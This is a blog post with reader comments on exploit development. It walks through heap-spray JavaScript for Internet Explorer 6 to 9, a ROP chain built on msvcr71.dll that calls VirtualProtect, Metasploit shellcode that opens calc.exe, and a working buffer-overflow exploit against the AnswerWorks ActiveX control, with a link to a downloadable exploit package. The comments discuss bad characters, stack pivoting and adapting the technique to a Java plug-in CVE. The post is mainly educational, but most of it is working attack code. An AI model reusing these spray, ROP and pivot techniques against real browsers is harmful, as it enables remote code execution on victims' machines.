Heap spraying in Internet Explorer with rop nops

Lately I have been learning to write some exploits for some of my old discovered vulnerabilities to get it working on Windows 7 with IE9. Previously when exploiting vulnerabilities my POCs had always been on Windows XP IE6 just to make sure it worked and not having to worry about all the mitigations in later versions. In this post I am just sharing some basic info which will hopefully to help others when writing/understanding exploits for the first time while at the same time keeping it simple and not worrying to much about performance or precision. In my old exploits I used the heap spraying code below when testing on IE6.  (Just removed the un from unescape as Symantec’s Endpoint Protection doesnt like it in this section, maybe they are just too close to each other 🙂 as the following unescapes are fine)

<SCRIPT language="JavaScript"> 
 var calc, chunk_size, headersize, nopsled, nopsled_len;
 var heap_chunks, i;
  calc = escape("%ucccc%ucccc");
  chunk_size = 0x40000;
  headersize = 0x24;
  nopsled = escape("%u0c0c%u0c0c");
  nopsled_len = chunk_size - (headersize + calc.length);
  while (nopsled.length < nopsled_len)
     nopsled += nopsled;
  nopsled = nopsled.substring(0, nopsled_len);
  heap_chunks = new Array();
  for (i = 0 ; i < 1000 ; i++)
     heap_chunks[i] = nopsled + calc;

From IE8 things had changed not only because it supported DEP but heap spraying for the above code did not spray the heap. After going through some exploits a realised the only change from the above code I really had to make was by spraying the heap using “substring” function. So the code would now look like this

code = nopsled + calc;
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
   heap_chunks[i] = code.substring(0, code.length);

Trying this heap spray code now on Windows 7 with IE9 again failed to spray. After reading Peter Van Eeckhoutte’s heap spraying tutorial on how heap spraying was achieved in IE9 got me thinking to see if I could simplify the code and after a few tests it literately came down to just changing one byte in each chunk. So my final spray code ended up is adding a count to each chunk just to make it unique

for (i = 0 ; i < 1000 ; i++)
   codewithnum = i + code;
   heap_chunks[i] = codewithnum.substring(0, codewithnum.length);

This code would now spray on all IE browsers and execute our payload on machines that did not support DEP. With machines supporting DEP a ROP chain is required to make our code executable. For this I decided to use ROP chains generated by mona on library msvcr71.dll which gets shipped with Java 6 and is a non-ASLRed. Due to jumping to our first gadget needed to be precise I wanted to write a javascript code where our sprayed chunks will be full of rop nops saving me the trouble of calculating the precise offset as offsets might vary from different OS’es plus landing in another chunk might have another offset. Alignment is still an issue at times but just incrementing or decrementing our used return address normally solves the issue. So each chunk would only have one rop + calc shellcode at the end of the chunk instead of multiple shellcode blocks in a chunk. All I did was change the nopshed value to

nopsled = unescape("%q6224%u7c37"); // 0x7c376224 RETN [MSVCR71.dll]

Putting it all together we now get a working script for Internet Explorer 6/7/8 and 9. (I had to replace the u with a q otherwise the formatting on the browser gets messed up).

<SCRIPT language="JavaScript"> 
 function padnum(n, numdigits)
   n = n.toString();
   var pnum = '';
   if (numdigits > n.length)
     for (z = 0; z < (numdigits - n.length); z++)
      pnum += '0';
   return pnum + n.toString();
 var rop, calc, chunk_size, headersize, nopsled, nopsled_len, code;
 var heap_chunks, i, codewithnum;
// !mona rop -m msvcr71.dll
// * changed from default mona rop chain output
 rop = unescape(
 "%q2e4d%q7c36" +   //  0x7c362e4d, # POP EBP # RETN
 "%q2e4d%q7c36" +   //  0x7c362e4d, # skip 4 bytes
 "%qf053%q7c34" +   //  0x7c34f053, # POP EBX # RETN
 "%q00c8%q0000" +   //  0x000000c8, # 0x000000c8-> ebx (size 200 bytes) *
 "%q4364%q7c34" +   //  0x7c344364, # POP EDX # RETN
 "%q0040%q0000" +   //  0x00000040, # 0x00000040-> edx
 "%qf62d%q7c34" +   //  0x7c34f62d, # POP ECX # RETN
 "%qe945%q7c38" +   //  0x7c38e945, # &Writable location
 "%q496e%q7c36" +   //  0x7c36496e, # POP EDI # RETN
 "%q6c0b%q7c34" +   //  0x7c346c0b, # RETN (ROP NOP)
 "%q2adb%q7c37" +   //  0x7c372adb, # POP ESI # RETN
 "%q15a2%q7c34" +   //  0x7c3415a2, # JMP [EAX]
 "%q4edc%q7c34" +   //  0x7c344edc, # POP EAX # RETN
 "%qa151%q7c37" +   //  0x7c37a151, # ptr to &VirtualProtect() - 0x0EF  *
 "%q8c81%q7c37" +   //  0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
 "%q5c30%q7c34");   //  0x7c345c30, # ptr to 'push esp #  ret '
// ruby msfpayload windows/exec cmd=calc.exe J
// windows/exec - 200 bytes
// http://www.metasploit.com
// VERBOSE=false, EXITFUNC=process, CMD=calc.exe
 calc = unescape(
 "%qe8fc%q0089%q0000%q8960%q31e5%q64d2%q528b%q8b30" +
 "%q0c52%q528b%q8b14%q2872%qb70f%q264a%qff31%qc031" +
 "%q3cac%q7c61%q2c02%qc120%q0dcf%qc701%qf0e2%q5752" +
 "%q528b%q8b10%q3c42%qd001%q408b%q8578%q74c0%q014a" +
 "%q50d0%q488b%q8b18%q2058%qd301%q3ce3%q8b49%q8b34" +
 "%qd601%qff31%qc031%qc1ac%q0dcf%qc701%qe038%qf475" +
 "%q7d03%q3bf8%q247d%qe275%q8b58%q2458%qd301%q8b66" +
 "%q4b0c%q588b%q011c%q8bd3%q8b04%qd001%q4489%q2424" +
 "%q5b5b%q5961%q515a%qe0ff%q5f58%q8b5a%qeb12%q5d86" +
 "%q016a%q858d%q00b9%q0000%q6850%q8b31%q876f%qd5ff" +
 "%qf0bb%qa2b5%q6856%q95a6%q9dbd%qd5ff%q063c%q0a7c" +
 "%qfb80%q75e0%qbb05%q1347%q6f72%q006a%qff53%q63d5" +
 chunk_size = 0x40000;
 headersize = 0x24;
 nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll]
 nopsled_len = chunk_size - (headersize + rop.length + calc.length);
 while (nopsled.length < nopsled_len)
    nopsled += nopsled;
 nopsled = nopsled.substring(0, nopsled_len);
 code = nopsled + rop + calc;                             
 heap_chunks = new Array();
 for (i = 0 ; i < 1000 ; i++)
    codewithnum = padnum(i,4) + code;
    heap_chunks[i] = codewithnum.substring(0, codewithnum.length);

Here are two images from the top and bottom of one of the chunks.

One thing to note is that the calc shellcode size in the above example is 200 bytes and this size needs to be set in our rop chain. Due to the fact that the shellcode is at the bottom of the chunk if the size used by VirtualProtect is greater than our shellcode it reads past the chunk leading to an invalid address and triggering an exception.

Here is an example of an exploit I wrote for testing purposes. I discovered this one quite some time ago. The ActiveX library awApi4.dll from “Vantage Linguistics AnswerWorks” contains a number of vulnerable stack-based buffer overflow methods. The Secunia advisory link is here. The ActiveX control had been killbitted at the time with a Microsoft patch MS07-069/942615.

<OBJECT classid="clsid:C1908682-7B2C-4AB0-B98E-183649A0BF84" id="poc">
<SCRIPT language="JavaScript"> 
   var buffer = "";
   for (i = 0; i < 215; i++) buffer += unescape("%41")
   buffer += unescape("%23%62%37%7c")   // 0x7c376223 POP EAX # RETN
   buffer += unescape("%42%42%42%42")   // compensate
   buffer += unescape("%42%42%42%42")   // compensate
   buffer += unescape("%08%08%08%08")   // fill return address
   buffer += unescape("%a9%13%34%7c")   // XCHG EAX,ESP # MOV EAX,DWORD
                                        // PTR DS:[EAX] #PUSH EAX #RETN
   buffer += unescape("%24%62%37%7c")   // 0x7c376224 RETN
   for (i = 0; i < 20; i++) buffer += unescape("%43")

This exploit has been tested and works 100% on Windows XP SP3 IE 6/7/8 and Windows 7 SP1 IE 8/9. I have included the vulnerable library, registry files to remove/add killbits and the exploit in a zip file that can be downloaded from here. The zip file has a md5 hash of d219582269ee0845f8747d0b64910f71 and the password for the zip file is “answerworks” without quotes. If you find when testing the exploit Windows Calculator fails to load then check if msvcr71.dll library is loaded in IE’s process space as I had noticed on one of my test machines that it does not load up.

This heap spraying code should work well for exploiting buffer overflows but exploiting virtual function calls is something I’ll need to look into and on my to-learn-list. On Windows 7 the only real dependency lies in having Java 6 installed as the library msvcr71.dll which comes with Java 6 is not ASLRed or gets rebased. If Java 7 is installed then another rop chain would need to be used as Java 7 libraries are all ASLRed. Windows XP is not subject to ALSR so another rop chain could be used if Java 6 is not installed.




  1. good job!but when i test this exploit-exploit.htm. i find that a9
    in the 0x7c3413a9 ,maybe the bad characters!everytime i debug in the ollydbg the num 0xa9 change to 0x3f. i don’t know how you test this. i test the exp in xp sp2 and IE6…so i serch another xchg address 0x7c342643.this time it works good!

  2. Strange, I think it could be the OS language, try filling the first 215 bytes with a9 instead of 41 and set a breakpoint on 0x7c376223 and check the stack when breaks. For me a9 was fine, anyway glad you got it working 🙂

  3. headersize should be 0x10; it does not matter for this case, but that is why you have 0x0000 values at the end of heap’s blocks.

    headersize 0x24 was in IE8.

  4. BTW, one more thing that works for me. You do not need padnum function at all. Just add any string before nop. if any concat operation will be in the loop, spary will work.

    codewithnum = “HI” + code;
    heap_chunks[i] = codewithnum.substring(0, codewithnum.length);

  5. Hey man. Nice blog post. I tried Peter Van Eeckhoutte’s scripts, but they didn’t seem to heap spray in IE9 correctly for me. Your stuff helped me to figure out what was wrong with my javascript.

    Also, you mention above that you are weak in V-table exploitation. Check out my blog post here:

    heh–you’re trying to learn something that I wrote about and im trying to learn something you wrote about. This works out well for both of us 🙂

  6. Hello,

    I am new to ROP programming and i found your article very helpful. I am trying to use the same exploit for the Java JNLP Plug-in vulnerability (CVE-2010-3552). I find that msvcr71.dll does not load in IE’s process space. What can I do in that case (except testing on a different computer?) I understand your heap spraying part, where you precede the shellcode with the rop chain and a lot of rop-nops in each chunk. Can you please explain how you achieve stack-pivoting in the last few lines of code? Is the offset of EIP 215 bytes?

    Thanks for your explanation!

  7. This is what I understood: you are used the ROP chain to change the access protection from RW to RWX for the memory location starting at ESP after VirtualProtect() is called. Then you return from the sprayed heap and exchange ESP and EAX, then JMP to EAX. Is that correct? Why did you add an offset to VirtualProtect function pointer? (when loading that value into EAX in the ROP chain?) Thanks for the answer.

  8. That’s right, the ROP chain is to make our memory executable and the exchange esp to eax is point to our sprayed heap memory where eax points to the heap.

Leave a Reply

Your email address will not be published. Required fields are marked *